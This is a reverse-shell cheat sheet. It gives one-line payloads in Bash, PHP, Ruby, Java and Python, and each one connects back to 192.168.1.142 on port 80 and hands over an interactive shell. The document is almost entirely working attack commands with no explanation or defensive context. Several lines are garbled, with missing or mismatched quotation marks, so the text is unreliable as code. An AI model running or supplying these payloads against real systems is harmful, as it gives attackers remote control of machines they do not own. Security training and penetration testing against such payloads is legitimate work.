Bash

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bash -i >& /dev/tcp/192.168.1.142/80 0>&1
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exec 5<>/dev/tcp/192.168.1.142/80
cat <&5 | while read line; do $line 2>&5 >&5; done 
# or:
while read line 0<&5; do $line 2>&5 >&5; done

PHP

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php -r $sock=fsockopen(“192.168.1.142,80);exec(/bin/sh -i <&3 >&3 2>&3);
(Assumes TCP uses file descriptor 3. If it doesn’t work, try 4,5, or 6)

RUBY

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ruby -rsocket -ef=TCPSocket.open(192.168.1.142,80).to_i;exec sprintf(/bin/sh -i <&%d >&%d 2>&%d,f,f,f)

JAVA

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r = Runtime.getRuntime()
p = r.exec([/bin/bash,-c,exec 5<>/dev/tcp/192.168.1.142/80;cat <&5 | while read line; do \$line 2>&5 >&5; done] as String[])
p.waitFor()

PYTHON

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python -c import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((192.168.1.142,80));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([/bin/sh,-i]);